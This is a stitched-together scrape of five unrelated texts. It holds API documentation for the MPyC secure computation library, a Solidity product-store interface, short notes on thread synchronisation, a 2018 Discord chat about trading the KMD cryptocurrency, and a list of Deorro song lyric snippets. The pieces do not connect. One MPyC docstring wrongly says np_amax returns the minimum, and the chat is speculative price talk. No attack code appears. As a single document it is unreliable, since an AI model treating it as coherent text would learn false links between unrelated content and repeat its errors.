This is optimal as shown by Ira Pohl in "A sorting problem and its complexity",
Communications of the ACM 15(6), pp. 462-464, 1972.
- mod(self, a, b)
- Secure modulo reduction.
- mul(self, a, b)
- Secure multiplication of a and b.
- neg(self, a)
- Secure negation (additive inverse) of a.
- np_absolute(self, a, l=None)
- Secure elementwise absolute value of a.
- np_add(self, a, b)
- Secure addition of a and b, elementwise with broadcast.
- np_all(self, a, axis=None)
- Secure all-predicate for array a, entirely or along the given axis (or axes).
If axis is None (default) all is evaluated over the entire array (returning a scalar).
If axis is an int or a tuple of ints, all is evaluated along all specified axes.
The shape of the result is the shape of a with all specified axes removed
(converted to a scalar if no dimensions remain).
- np_amax(self, a, axis=None)
- Secure maximum of array a, entirely or along the given axis (or axes).
If axis is None (default) the maximum of the array is returned (as a scalar).
If axis is an int or a tuple of ints, the minimum along all specified axes is returned.
The shape of the result is the shape of a with all specified axes removed
(converted to a scalar if no dimensions remain).
- np_amin(self, a, axis=None)
- Secure minimum of array a, entirely or along the given axis (or axes).
If axis is None (default) the minimum of the array is returned (as a scalar).
If axis is an int or a tuple of ints, the minimum along all specified axes is returned.
The shape of the result is the shape of a with all specified axes removed
(converted to a scalar if no dimensions remain).
- np_any(self, a, axis=None)
- Secure any-predicate for array a, entirely or along the given axis (or axes).
If axis is None (default) any is evaluated over the entire array (returning a scalar).
If axis is an int or a tuple of ints, any is evaluated along all specified axes.
The shape of the result is the shape of a with all specified axes removed
(converted to a scalar if no dimensions remain).
- np_append(self, arr, values, axis=None)
- Append values to the end of array arr.
If axis is None (default), arr and values are flattened first.
Otherwise, arr and values must all be of the same shape, except along the given axis.
- np_argmax(self, a, axis=None, key=None, arg_unary=False, arg_only=True)
- Returns the indices of the maximum values along an axis.
If no axis is given (default), array is flattened.
NB: Different defaults than for method call a.argmax().
- np_argmin(self, a, axis=None, key=None, arg_unary=False, arg_only=True)
- Returns the indices of the minimum values along an axis.
If no axis is given (default), array is flattened.
NB: Different defaults than for method call a.argmin().
- np_block(self, arrays)
- Assemble an array from nested lists of blocks given by arrays.
Blocks in the innermost lists are concatenated along the last axis,
then these are concatenated along the second to last axis,
and so on until the outermost list is reached.
- np_column_stack(self, tup)
- np_concatenate(self, arrays, axis=0)
- Join a sequence of arrays along an existing axis.
If axis is None, arrays are flattened before use.
Default axis is 0.
- np_copy(self, a, order='K')
- np_det(self, A)
- Secure determinant for nonsingular matrices.
- np_divide(self, a, b)
- Secure division of a and b, for nonzero b, elementwise with broadcast.
- np_dsplit(self, ary, indices_or_sections)
- Split array into multiple sub-arrays along the 3rd axis (depth).
- np_dstack(self, tup)
- Stack arrays in sequence depth wise (along third axis).
This is equivalent to concatenation along the third axis
after 2-D arrays of shape (M,N) have been reshaped to
(M,N,1) and 1-D arrays of shape (N,) have been reshaped
to (1,N,1). Rebuilds arrays divided by dsplit.
- np_equal(self, a, b)
- Secure comparison a == b, elementwise with broadcast.
- np_flatten(self, a, order='C')
- Return 1D copy of a.
Default 'C' for row-major order (C style).
Alternative 'F' for column-major order (Fortran style).
- np_fliplr(self, a)
- Reverse the order of elements along axis 1 (left/right).
For a 2D array, this flips the entries in each row in the left/right direction.
Columns are preserved, but appear in a different order than before.
- np_from_bits(self, x)
- Recover secure numbers from their binary representations in x.
- np_fromlist(self, x)
- List of secure numbers to 1D array.
- np_getitem(self, a, key)
- Secure array a, index/slice key.
- np_hsplit(self, ary, indices_or_sections)
- Split an array into multiple sub-arrays horizontally (column-wise).
- np_hstack(self, tup)
- Stack arrays in sequence horizontally (column wise).
This is equivalent to concatenation along the second axis,
except for 1-D arrays where it concatenates along the first
axis. Rebuilds arrays divided by hsplit.
- np_is_zero_public(self, a) -> _asyncio.Future
- Secure public zero test of a, elementwise.
- np_less(self, a, b)
- Secure comparison a < b, elementwise with broadcast.
- np_matmul(self, A, B)
- Secure matrix product of arrays A and B, with broadcast.
- np_maximum(self, a, b)
- Secure elementwise maximum of a and b.
If a and b are of different shapes, they must be broadcastable to a common shape
(which is scalar if both a and b are scalars).
- np_minimum(self, a, b)
- Secure elementwise minimum of a and b.
If a and b are of different shapes, they must be broadcastable to a common shape
(which is scalar if both a and b are scalars).
- np_multiply(self, a, b)
- Secure multiplication of a and b, elementwise with broadcast.
- np_negative(self, a)
- Secure elementwise negation -a (additive inverse) of a.
- np_outer(self, a, b)
- Secure outer product of vectors a and b.
Input arrays a and b are flattened if not already 1D.
- np_pow(self, a, b)
- Secure elementwise exponentiation a raised to the power of b, for public integer b.
- np_prod(self, a, axis=None)
- Secure product of array elements over a given axis (or axes).
- np_random_bits(self, sftype, n, signed=False)
- Return shape-(n,) secure array of given type with uniformly random bits.
- np_reciprocal(self, a)
- Secure elementwise reciprocal (multiplicative field inverse) of a, for nonzero a.
- np_reshape(self, a, shape, order='C')
- np_roll(self, a, shift, axis=None)
- Roll array elements (cyclically) along a given axis.
If axis is None (default), array is flattened before cyclic shift,
and original shape is restored afterwards.
- np_row_stack = np_vstack(self, tup)
- np_sgn(self, a, l=None, LT=False, EQ=False)
- Secure elementwise sign(um) of array a.
Return -1 if a < 0 else 0 if a == 0 else 1.
If integer flag l=L is set, it is assumed that -2^(L-1) <= a < 2^(L-1)
to save work (compared to the default l=type(a).bit_length).
If Boolean flag LT is set, perform a secure less than zero test instead, and
return 1 if a < 0 else 0, saving the work for a secure equality test.
If Boolean flag EQ is set, perform a secure equal to zero test instead, and
return 1 if a == 0 else 0, saving the work for a secure comparison.
- np_sort(self, a, axis=-1, key=None)
- "Returns new array sorted along given axis.
By default, axis=-1.
If axis is None, the array is flattened.
Same sorting network as in self._sort().
- np_split(self, ary, indices_or_sections, axis=0)
- Split an array into multiple sub-arrays as views into ary.
- np_stack(self, arrays, axis=0)
- Join a sequence of arrays along a new axis.
The axis parameter specifies the index of the new axis in the shape of the result.
For example, if axis=0 it will be the first dimension and if axis=-1 it will be
the last dimension.
- np_subtract(self, a, b)
- Secure subtraction of a and b, elementwise with broadcast.
- np_sum(self, a, axis=None, keepdims=False, initial=0)
- Secure sum of array elements over a given axis (or axes).
- np_swapaxes(self, a, axis1, axis2)
- Interchange two given axes of array a.
For 2D arrays, same as the usual matrix transpose.
- np_to_bits(self, a, l=None)
- Secure extraction of l (or all) least significant bits of a.
- np_tolist(self, a)
- Return array a as an nested list of Python scalars.
The nested list is a.ndim levels deep (scalar if a.ndim is zero).
- np_transpose(self, a, axes=None)
- Reverse (default) or permute the axes of array a.
For 2D arrays, default result is the usual matrix transpose.
Parameter axes can be any permutation of 0,...,n-1 for nD array a.
- np_trunc(self, a, f=None, l=None)
- Secure truncation of f least significant bits of (elements of) a.
Probabilistic rounding of a / 2**f (elementwise).
- np_unit_vector(self, a, n)
- Length-n unit vector [0]*a + [1] + [0]*(n-1-a) for secret a, assuming 0 <= a < n.
Unit vector returned as secure NumPy array.
NB: Value of a is reduced modulo n (almost for free).
- np_update(self, a, key, value)
- Return secure array a modified by update a[key]=value.
Also value can be a secure array or object.
But key is in the clear.
Differs from __setitem__() which works in-place, returning None.
- np_vsplit(self, ary, indices_or_sections)
- Split an array into multiple sub-arrays vertically (row-wise).
- np_vstack(self, tup)
- np_where(self, c, a, b)
- Return elements chosen from a or b depending on condition c.
The shapes of a, b, and c are broadcast together.
- or_(self, a, b)
- Secure bitwise or of a and b.
- output(self, x, receivers=None, threshold=None, raw=False)
- Output the value of x to the receivers specified.
Value x is a secure object, or a list of secure objects.
The receivers are the parties that will obtain the output.
The default is to let every party be a receiver.
A secure integer is output as a Python int, a secure
fixed-point number is output as a Python float, and a secure
finite field element is output as an MPyC finite field element.
Set flag raw=True to suppress output conversion.
For all other types of secure objects their _output() method controls
what is output. For instance, mpyc.sectypes.SecureFloat._output()
outputs secure floating-point numbers as Python floats.
The flag raw is ignored for these types.
- pos(self, a)
- Secure unary + applied to a.
- pow(self, a, b)
- Secure exponentiation a raised to the power of b, for public integer b.
- prfs(self, bound)
- PRFs with codomain range(bound) for pseudorandom secret sharing.
Return a mapping from sets of parties to PRFs.
- prod(self, x, start=1)
- Secure product of all elements in x, similar to Python's math.prod().
Runs in log_2 len(x) rounds).
- random_bit(self, stype, signed=False)
- Secure uniformly random bit of the given type.
- random_bits(self, sftype, n, signed=False)
- n secure uniformly random bits of the given type.
- reciprocal(self, a)
- Secure reciprocal (multiplicative field inverse) of a, for nonzero a.
- run(self, f)
- Run the given coroutine or future until it is done.
- scalar_mul(self, a, x)
- Secure scalar multiplication of scalar a with vector x.
- schur_prod(self, x, y)
- Secure entrywise multiplication of vectors x and y.
- sgn(self, a, l=None, LT=False, EQ=False)
- Secure sign(um) of a, return -1 if a < 0 else 0 if a == 0 else 1.
If integer flag l=L is set, it is assumed that -2^(L-1) <= a < 2^(L-1)
to save work (compared to the default l=type(a).bit_length).
If Boolean flag LT is set, perform a secure less than zero test instead, and
return 1 if a < 0 else 0, saving the work for a secure equality test.
If Boolean flag EQ is set, perform a secure equal to zero test instead, and
return 1 if a == 0 else 0, saving the work for a secure comparison.
- async shutdown(self)
- Shutdown the MPyC runtime.
Close all connections, if any.
- sorted(self, x, key=None, reverse=False)
- Return a new securely sorted list with elements from x in ascending order.
Similar to Python's built-in sorted(), but not stable.
Elements of x are either secure numbers or lists of secure numbers.
Argument key specifies a function applied to all elements of x before comparing them, using
only < comparisons (that is, using only the __lt__() method, as for Python's list.sort()).
Default key compares elements of x directly (using identity function 'lambda a: a').
- async start(self)
- Start the MPyC runtime.
Open connections with other parties, if any.
- sub(self, a, b)
- Secure subtraction of a and b.
- sum(self, x, start=0)
- Secure sum of all elements in x, similar to Python's built-in sum().
- async throttler(self, load_percentage=1.0, name=None)
- Throttle runtime by given percentage (default 1.0), using optional name for barrier.
- to_bits(self, a, l=None)
- Secure extraction of l (or all) least significant bits of a.
- trailing_zeros(self, a, l=None)
- Secure extraction of l least significant (or all) bits of a,
only correct up to and including the least significant 1 (if any).
- transfer(self, obj, senders=None, receivers=None, sender_receivers=None) -> _asyncio.Future
- Transfer pickable Python objects between specified parties.
The senders are the parties that provide input.
The receivers are the parties that will obtain output.
The default is to let every party be a sender as well as a receiver.
The (directed) communication graph specifying which parties sends their message
given as obj to which receivers is represented by:
- either the senders/receivers arguments for a complete bipartite graph,
- or the sender_receivers argument for an arbitrary graph.
Each party i corresponds to a node in the communication graph.
The senders/receivers arguments represent subsets of nodes, in the form
of a list, a Python range object, or a Python int.
The sender_receivers argument represents a set of arcs, in the form of a
list of node pairs or as a Python dict mapping nodes to subsets of nodes.
- trunc(self, x, f=None, l=None)
- Secure truncation of f least significant bits of (elements of) x.
Probabilistic rounding of a / 2**f for a in x.
- unit_vector(self, a, n)
- Length-n unit vector [0]*a + [1] + [0]*(n-1-a) for secret a, assuming 0 <= a < n.
NB: If a = n, unit vector [1] + [0]*(n-1) is returned. See mpyc.statistics.
- vector_add(self, x, y)
- Secure addition of vectors x and y.
- vector_sub(self, x, y)
- Secure subtraction of vectors x and y.
- xor(self, a, b)
- Secure bitwise xor of a and b.
Static methods defined here:
- SecClassGroup(Delta=None, l=None)
- Call SecClassGroup(...) is equivalent to SecGrp(ClassGroup(...)),
returning secure version of ClassGroup from mpyc.fingroups.
ClassGroup(Delta=None, l=None):
Create type for class group, given (bit length l of) discriminant Delta.
The following conditions are imposed on discriminant Delta:
- Delta < 0, only supporting class groups of imaginary quadratic field
- Delta = 1 (mod 4), preferably Delta = 1 (mod 8)
- -Delta is prime
This implies that Delta is a fundamental discriminant.
- SecEllipticCurve(curvename='Ed25519', coordinates=None)
- Call SecEllipticCurve(...) is equivalent to SecGrp(EllipticCurve(...)),
returning secure version of EllipticCurve from mpyc.fingroups.
EllipticCurve(curvename='Ed25519', coordinates=None):
Create elliptic curve type for a selection of built-in curves.
The default coordinates used with these curves are 'affine'.
The following Edwards curves and Weierstrass curves are built-in:
- 'Ed25519': see https://en.wikipedia.org/wiki/EdDSA#Ed25519
- 'Ed448': aka "Goldilocks", see https://en.wikipedia.org/wiki/Curve448
- 'secp256k1': Bitcoin's Koblitz curve from https://www.secg.org/sec2-v2.pdf
- 'BN256': Barreto-Naehrig curve, https://eprint.iacr.org/2010/186
- 'BN256_twist': sextic twist of Barreto-Naehrig curve
These curves can be used with 'affine' (default) and 'projective' coordinates.
The Edwards curves can also be used with 'extended' coordinates, and the
Weierstrass curves with 'jacobian' coordinates.
- SecFld(order=None, modulus=None, char=None, ext_deg=None, min_order=None, signed=False)
- Secure finite field of order q = p**d.
Order q >= min_order.
Field is prime (d = 1) by default and if modulus is prime.
Extension degree d > 1 if order is a prime power p**d with d > 1,
if modulus is a polynomial or a string or an integer > char,
or if ext_deg is an integer > 1, or if min_order > char.
- SecFlt(l=None, s=None, e=None)
- Secure l-bit floating-point number with s-bit significand and e-bit exponent, where l=s+e.
The significand is an (s+1)-bit secure (signed) fixed-point number. The absolute value
of a nonzero significand is normalized between 0.5 and 1.0. Here, both 0.5 and 1.0 are
included and therefore one extra bit is used.
The exponent is an e-bit secure (signed) integer.
- SecFxp(l=None, f=None, p=None, n=2)
- Secure l-bit fixed-point numbers with f-bit fractional part.
NB: if dividing secure fixed-point numbers, make sure that l =~ 2f.
- SecGrp(group)
- Secure version of given finite group.
- SecInt(l=None, p=None, n=2)
- Secure l-bit integers.
- SecQuadraticResidues(p=None, l=None)
- Call SecQuadraticResidues(...) is equivalent to SecGrp(QuadraticResidues(...)),
returning secure version of QuadraticResidues from mpyc.fingroups.
QuadraticResidues(p=None, l=None):
Create type for quadratic residues group given (bit length l of) odd prime modulus p.
The group of quadratic residues modulo p is of order n=(p-1)/2.
Given bit length l>2, p will be chosen such that n is also an odd prime.
If l=2, the only possibility is p=3, hence n=1.
- SecSchnorrGroup(p=None, q=None, g=None, l=None, n=None)
- Call SecSchnorrGroup(...) is equivalent to SecGrp(SchnorrGroup(...)),
returning secure version of SchnorrGroup from mpyc.fingroups.
SchnorrGroup(p=None, q=None, g=None, l=None, n=None):
Create type for Schnorr group of odd prime order q.
If q is not given, q will be the smallest n-bit prime, n>=2.
If p is not given, p will be the least l-bit prime, l>n, such that q divides p-1.
If l and/or n are not given, default bit lengths will be set (2<=n<l).
- SecSymmetricGroup(n)
- Call SecSymmetricGroup(...) is equivalent to SecGrp(SymmetricGroup(...)),
returning secure version of SymmetricGroup from mpyc.fingroups.
SymmetricGroup(n):
Create type for symmetric group of degree n, n>=0.
- coroutine = mpc_coro(func, pc=True)
- Decorator turning coroutine func into an MPyC coroutine.
An MPyC coroutine is evaluated asynchronously, returning empty placeholders.
The type of the placeholders is defined either by a return annotation
of the form "-> expression" or by the first await expression in func.
Return annotations can only be used for static types.
- returnType(*args, wrap=True)
- Define return type for MPyC coroutines.
Used in first await expression in an MPyC coroutine.
Data descriptors defined here:
- __dict__
- dictionary for instance variables (if defined)
- __weakref__
- list of weak references to the object (if defined)
- threshold
- Threshold for MPC.
Data and other attributes defined here:
- SecureArray = <class 'mpyc.sectypes.SecureArray'>
- Base class for secure (secret-shared) number arrays.
- SecureFiniteField = <class 'mpyc.sectypes.SecureFiniteField'>
- Base class for secure (secret-shared) finite field elements.
NB: bit-oriented operations will be supported for prime fields.
- SecureFiniteFieldArray = <class 'mpyc.sectypes.SecureFiniteFieldArray'>
- Base class for secure (secret-shared) arrays of finite field elements.
- SecureFiniteGroup = <class 'mpyc.secgroups.SecureFiniteGroup'>
- Abstract base class for secure (secret-shared) finite groups elements.
- SecureFixedPoint = <class 'mpyc.sectypes.SecureFixedPoint'>
- Base class for secure (secret-shared) fixed-point numbers.
- SecureFixedPointArray = <class 'mpyc.sectypes.SecureFixedPointArray'>
- Base class for secure (secret-shared) arrays of fixed-point numbers.
- SecureFloat = <class 'mpyc.sectypes.SecureFloat'>
- Base class for secure (secret-shared) floating-point numbers.
Basic arithmetic +,-,*,/ and comparisons <,<=,--,>,>=,!= are supported for secure floats,
as well as input()/output() and sorting operations like min()/argmax()/sorted().
Other operations like sum()/prod()/all()/any()/in_prod() are currently not supported for
secure floats.
Implementation is kept simple, representing a secure float as a pair consisting of
a secure fixed-point number for the significand and a secure integer for the exponent.
Note, however, that even basic arithmetic +,-,*,/ with secure floats is very
demanding performance-wise (due to dependence on secure bitwise operations).
- SecureInteger = <class 'mpyc.sectypes.SecureInteger'>
- Base class for secure (secret-shared) integers.
- SecureIntegerArray = <class 'mpyc.sectypes.SecureIntegerArray'>
- Base class for secure (secret-shared) integer arrays.
- SecureNumber = <class 'mpyc.sectypes.SecureNumber'>
- Base class for secure (secret-shared) numbers.
- SecureObject = <class 'mpyc.sectypes.SecureObject'>
- A secret-shared object.
An MPC protocol operates on secret-shared objects of type SecureObject.
The basic Python operators are overloaded by SecureObject classes.
An expression like a * b will create a new SecureObject, which will
eventually contain the product of a and b. The product is computed
asynchronously, using an instance of a specific cryptographic protocol.
- random = <module 'mpyc.random'>
- This module provides secure versions of several functions for
generating pseudorandom numbers, cf. the random module of Python's
standard library. Each function behaves like its Python counterpart,
except that a secure type is required as additional (first) argument.
Additionally, random_unit_vector() generates a random bit vector
with exactly one bit set to 1, using approximately log_2 n secure
random bits for a bit vector of length n.
Also, random_permutation() and random_derangement() are provided as
convenience functions.
Main concern for the implementations is to minimize the randomness
complexity, that is, to limit the usage of secure random bits as
provided by runtime.random_bits(). Other than this, the code is
relatively simple for now.
NB: runtime._random(sectype, n) cannot be used as an alternative to
_randbelow(sectype, n) as its output is not uniformly random, except
when n is equal to the order of sectype's finite field.
- seclist = <class 'mpyc.seclists.seclist'>
- statistics = <module 'mpyc.statistics'>
- This module provides secure versions of common mathematical statistics functions.
The module is modeled after the statistics module in the Python standard library, and
as such aimed at small scale use ("at the level of graphing and scientific calculators").
Functions mean, median, median_low, median_high, quantiles, and mode are provided
for calculating averages (measures of central location). Functions variance, stdev,
pvariance, pstdev are provided for calculating variability (measures of spread).
Functions covariance, correlation, linear_regression are provided for calculating
statistics regarding relations between two sets of data.
Most of these functions work best with secure fixed-point numbers, but some effort is
done to support the use of secure integers as well. For instance, the mean of a sample
of integers is rounded to the nearest integer, which may still be useful. The variance
of a sample of integers is also rounded to the nearest integer, but this will only be
useful if the sample is properly scaled.
A baseline implementation is provided, favoring simplicity over efficiency. Also, the
current implementations of mode, median, and quantiles favor a small privacy leak over
a strict but less efficient approach.
If these functions are called with plain data, the call is relayed to the corresponding
function in Python's statistics module.
- version = '0.9'
| |


pragma solidity ^0.4.23;
/**
* @title IProductStore
* @dev Interface all ProductStore contracts must implement to publically
* verify it complies with the ProductStore contract interface
*/
contract IProductStore {
/**
* @dev Returns the name of the store
* @return Name of the store
*/
function name() public view returns(string);
/**
* @dev Returns the logo URI of the store
* @return Logo URI of the store
*/
function logoURI() public view returns(string);
/**
* @dev Returns the total number of products stored
* @return Total number of products stored
*/
function productCount() public view returns(uint);
/**
* @dev Adds an product to storage if valid
* @param _name Name of the product
* @param _description Description of the product
* @param _imageURI Optional image URI
* @param _price Price for the product in wei
* @param _inventory Available inventory to be sold for the product
* @return Id of the stored product
*/
function addProduct(
string _name,
string _description,
string _imageURI,
uint128 _price,
uint128 _inventory
) public returns(uint128);
/**
* @dev Returns true for contracts that adhere to the ProductStore interface
* @return Boolean value identifying contract as implementing the ProductStore interface
*/
function isProductStore() public pure returns (bool);
/**
* @dev Returns the version of the ProductStore contract interface
* @return Version of the contract interface
*/
function version() public pure returns (uint16);
} |


Please don't follow me on your screen: n20amaral.github.io/summarizer31
Simple Web Server Solution
Concurrency Programming
"Concurrency is running several tasks at same time."
"Concurrency is when a task is broken down into smaller pieces and run simutaneously."
A thread is an independent path of code execution.
Share process-wide memory and resources.
Cannot exist outside of the process lifetime.
Have their own stack and memory management.
Every process has at least one main thread.
A process can have multiple threads.
Threads from the same process can interact with each other without using IPC mechanisms.
Non sincronized thread execution can produce unpredictable results.
To avoid unpredictable results we need to control thread execution.
Locks are the proper way to achieve thread-sync.
Other valid approach is to use Thread .join() method.
Avoid loops and using Thread .sleep() method.


A channel to discuss trading. For useful links and more info click the pinned messages to the right.
100 messages
Before 05-Dec-19 12:00 AM
digital bullion29-Dec-18 11:02 PM
It has not happened yet
It was said to be a "joint press release" with the exchange and it would be anounced "this week" which is now two weeks ago.
It was Daniel Pigeon who mentioned it in the marketing channel.(edited)
ver_User29-Dec-18 11:05 PM
I guess they decided to accumulate kmd for 2 weeks instead
digital bullion29-Dec-18 11:08 PM
The original statement was December 11th
Tek29-Dec-18 11:47 PM
im moving all my coins off exchanges
2
blackjok3r29-Dec-18 11:53 PM
That's a wise move
Tek29-Dec-18 11:58 PM
yeah I collected the entire 2018 m now going to move all my collections into wallets I control
then for 2019 I keep sending fiat and buying more on exchanges and try to trade it up maybe but I got my main "hold for ever / 5 years " coins collected
its going to take some time I have like 20 assets lmao
been bussy checking out wallets and generateing addresses for 3 hours already ow lmao
ver_User30-Dec-18 12:16 AM
looks like alt rally is over for now... let's see what kmd does here, will it continue as black sheep?
tolken30-Dec-18 12:38 AM
@digital bullion thanks, I wonder what happened.
Likewise30-Dec-18 02:13 AM
sell and buy back cheaper
if possible
jspook1630-Dec-18 04:01 AM
Does that work with kidneys too?
1
Markus30-Dec-18 04:10 AM
Whale bro is gone, btc took a dip but KMD stay strong around 21k
not bad at all
Vertigo30-Dec-18 04:53 AM
I'm drunk training for new year's good night guys!!!
Music video by Bon Jovi performing Wanted Dead Or Alive. (C) 2003 The Island Def Jam Music Group
1
Acura30-Dec-18 09:07 AM
KMD/BTC: Looks a little bullish here, thinking a test of the first resistance zone in the red box may happen at some point soon, ideal entry is in/around the blue box, already broken out, not optimal to enter at this second https://imgur.com/a/GkVsSE5
WebRTC Web demos and samples. Contribute to imylomylo/samples development by creating an account on GitHub.
happy new year traders!!
blackjok3r30-Dec-18 10:19 AM
I wont be back on that any time very soon, but my plan is to get a GUI working early next year.
Mylo30-Dec-18 10:19 AM
web page gui ^^
blackjok3r30-Dec-18 10:19 AM
There is no working version that I know of... but all the code is on git and it builds... needs to be checked and imporved a little bit.
Mylo30-Dec-18 10:19 AM
ok. fun for 2019
blackjok3r30-Dec-18 10:20 AM
yeah I got too much else on first ... thats not a priority, making that taught me everything I needed to know to get labs really working good, and fixing many long outstanding bugs, since all that my skills are much better and I will be able to make it work a heap better/easier than it was.
1
Bittersweet30-Dec-18 11:11 AM
Nice for kmd to stay in this range with low volume(edited)
Would be nice if BTC could tag along so we can keep going :)
Tek30-Dec-18 11:21 AM
fundus are safu
Tek30-Dec-18 12:12 PM
annyone want to donate me some KMD ? ay rich man aye? i've promoted KMD quite hard if you want reasons
@here im looking for a kmd whale
blackjok3r30-Dec-18 12:22 PM
lol
!kmdtip @Tek 2
KMD TipBotBOT30-Dec-18 12:22 PM
TipBot
@blackjok3r (blackjok3r#3181)
You tipped @Tek2 KMD
Tek30-Dec-18 12:22 PM
lmao thnx
when the Arrtip bot is back, do I just put up my KMD address to withdraw thee arr?
KMD seems to accumulate quite fast when staking
crumb30-Dec-18 12:59 PM
KMD has no staking. KMD reward /= staking
Acura30-Dec-18 01:25 PM
WTS DEX for KMD
bishop30-Dec-18 02:46 PM
/@blackjok3r What was the deal with the fucksapling in your name?
blackjok3r30-Dec-18 02:46 PM
I deleted it right
bishop30-Dec-18 02:46 PM
yes
but I saw it as I was looking through the past stuff I missed while I was gone
blackjok3r30-Dec-18 02:47 PM
Sapling broke MoMoM I lost my shit but I fixed it
bishop30-Dec-18 02:47 PM
ah
blackjok3r30-Dec-18 02:47 PM
When I spend that much time on something... Lol
1
bishop30-Dec-18 02:47 PM
I can imagine
1
Vertigo30-Dec-18 05:09 PM
Hey we are listed in the not available in Coinbase now lol
1
We were not in the list before
Markus30-Dec-18 05:11 PM
kmd price going bananas
23k
4
3
jl777c30-Dec-18 05:15 PM
almost caught up to verge
CHMEX30-Dec-18 05:18 PM
36th on cmc coins only
Markus30-Dec-18 05:22 PM
top 5 gainer against btc on cmc
jspook1630-Dec-18 05:22 PM
Maybe some folks are starting to realize the potential?
Markus30-Dec-18 05:22 PM
looking nice with close to 500 btc volume quite often now a days
2
dukeleto30-Dec-18 05:35 PM
not sure what is happening, but I like it when KMD is up even when BTC is down
9
ver_User30-Dec-18 05:42 PM
momentum is really gaining now, what I'd like to know is if we end up with 7 days of pure fomo like the Dec run, I almost don't want to experience that in real time. I assumed that was a pump and dump, but most alts did pure fomo at that time didn't they?
keep watching kmdeth for serious breakout potential - eth is at some major levels so may stall a little, but that too, if it breaks out, will be pretty powerful IMO
LocoMB30-Dec-18 05:52 PM
NICE indeed!
tolken30-Dec-18 06:05 PM
Kmd, fuck yea!
3
Torankoku30-Dec-18 07:18 PM
kmd finally getting some recognition! great job, kmd team
grumpygoron30-Dec-18 07:22 PM
Is this pump just because the rebrand is listed on coin market calendar for the 31st?
jl777c30-Dec-18 07:22 PM
since when is 7% a pump?
grumpygoron30-Dec-18 07:24 PM
Ok not a pump...but this rise is most likely from coin market calendar saying rebrand finishes tomorrow. When it sounds like that won’t be done until mid 2019 now right?
jl777c30-Dec-18 07:25 PM
i doubt many with deep pockets use such things to trade
KMD on weekly is above the long term trend, one of the first altcoins to break out
Image image-uploaded-from-ios-480-copy hosted in imgbb.com
jl777c30-Dec-18 08:12 PM
yes, trade based on some calendar entry with incorrect info
in the meatime, there seems to be not much KMD for sale below 30k sats
whales been munching on the 50 cents KMD for months
Kitchen Table30-Dec-18 08:18 PM
Whales been eating at KMD when it started dipping below 1 dollar, they just do it slowly over months. They expect a large amount of it is being locked away for rewards so easier to get those high returns.
jl777c30-Dec-18 08:23 PM
high returns on top of the expected price appreciation, buying during bear market lows is pretty low risk if you have patience
5% is not easy to get in fiat world from what I can tell
meatspoon30-Dec-18 08:26 PM
Not easy at all for the common folk. Not anymore, at least.
Deleted User30-Dec-18 08:27 PM
People are broke and wear yellow jacket in france :p
Not ready yet :p
Common folk know crypto from cnn. :s
Evil ponzi. Etc. That may be the biggest challenge for crypto
siu - Chainmakers30-Dec-18 08:31 PM
People celebrate 5% yearly returns on a investment in the real world
jl777c30-Dec-18 08:32 PM
how is the KMD technicals looking like on the long term?
Deleted User30-Dec-18 08:32 PM
True. But as long as we can t remove the idea of medias via a real application that ends as mandatory in everyone s life there may just be us looking at prices ^^
@jl777c who is your question for ? ^^
siu - Chainmakers30-Dec-18 08:34 PM
KMD is looking really good. It had a great inception year. Then had a correction that tested inception lows. Which held so far
jl777c30-Dec-18 08:34 PM
Q for siu
i was looking at the weekly charts for many alts, and most all are still below the long term average
Kitchen Table30-Dec-18 08:34 PM
Back in 2001 I purchased a bank CD with 6% yearly interest, minimal was 1k dollars. I had no idea at the time that deal would never come up again.
jl777c30-Dec-18 08:35 PM
KMD seems to be one of the few that is clearly broken above the long term weekly trend
siu - Chainmakers30-Dec-18 08:35 PM
Longer term kmd seems ready for construction of heavy support
jl777c30-Dec-18 08:35 PM
never have seen KMD being in the forefront of the altcoin recovery
Deleted User30-Dec-18 08:35 PM
Honestly, with that "bear" do price matter ? Or what is being done behind the scene ?


Deorro
-
Shakalaka
[by:LostSanta] 作曲 : Steve Aoki/Erick Orrosquieta/Maximilian Styler/Mackenzie Johnson Boom Shakalaka boom boom boom Tell... -
READY! (Original Mix)
[by:IM花花] [ti:] [ar:] [al:] [by:九九Lrc歌词网～www.99Lrc.net] Clap your hands if you’re ready for the beat drop Clap your hand...   -
All I Need Is Your Love
I could feel it I could feel it I could feel it In the air around me and I could see it I could see it I could see it Ca... -
Perdoname (feat. DyCy & Adrian Delgado)
[by:王同学上课不要嗑瓜子好吗] [ti:Perdoname (feat. DyCy & Adrian Delgado)] [ar:Deorro] [al:Perdoname] Son las 3 de la ma?ana Y estoy...  I do it big...   -
I Can Be Somebody
[by:赵轱辘] I’m here alone on a desert road Looking for water on my way back home I’m ready, I’m ready for a better life Wh...  -
All This Time (Timmy Trumpet Remix)
[by:Trap_Girl] 作曲 : Erick Orrosquieta/Michelle Buzz/Justin Gammella/Tom Meredith/MdL All this time Still a part of me S... -
Obsession (Deorro Remix)
[by:小陀螺Tony] It's 3AM, I'm parked outside I'm walking to your door, oh And that can't wait another night 'cause, oh Twen... -
Keep It Goin'
[by:Trap_Girl] 作曲 : Erick Orrosquieta/Manuel Reuter/Daniel Avila Roson/Robin Brandes/Kai Hortsmann 作词 : Nicholas John ... -
Freak
[by:詞卟達意] Freak (feat. Steve Bays) - Diplo/Deorro/Steve Aoki Hey hey hey hey hey hey hey hey Hey hey hey hey hey hey hey... -
Left Right
1 2 3 let's go Come on Follow me let's go Left, right Left, right Left, right Left, right Left, right Left, right Lef... -
Bring It Back
[by:Az_Falrientes] [ar: MAKJ,Deorro,Max styler] [al: Bring it back] [ti: Bring It Back] [au: Az_Falrientes] [re: LRC Edi... -
Bailar
[by:蝶蝶蝶蝶蝶蝶蝶蝶] Despacito (como) Mami, yo sé que te va a gustar (Mr. Worldwide!) Despacito Mami, yo sé que te va a encanta... -
Shake That Bottle
[by:Trap_Girl] 作曲 : Erick Orrosquieta/Hektor Massanet Del Rio 作词 : Benhur Barrero II I don't play round I take it down... -
Haters (Original Mix)
[by:Armin6] Boy, I can make it rain Jiggle, hit and bail And then more knows I gotta gotta Get My ******* Haters Off Get... -
Focus
[by:妍敏茶馆] 作曲 : Erick Orrosquieta 作词 : Yelena Leon/James Alexander Christos Hajigeorgiou/Kaci Deanne Brown Baby let me ... -
Five More Hours
What you wanna do baby? Where you wanna go? I take you to the moon baby I take you to the floor I treat you like a real ... -
Wild Like The Wind
[by:Trap_Girl] 作曲 : Erick Orrosquieta 作词 : Sarah Barrios/Jean-Baptiste Kouame/Ki Fitzgerald Ever seen a speeding bulle...  -
Stopping Us (Original Mix)
[by:AmberScars] Keep it going Yeah, there's no stopping us Keep it going Yeah, there's no stopping us Keep it going Yeah... -
Muñequita Linda
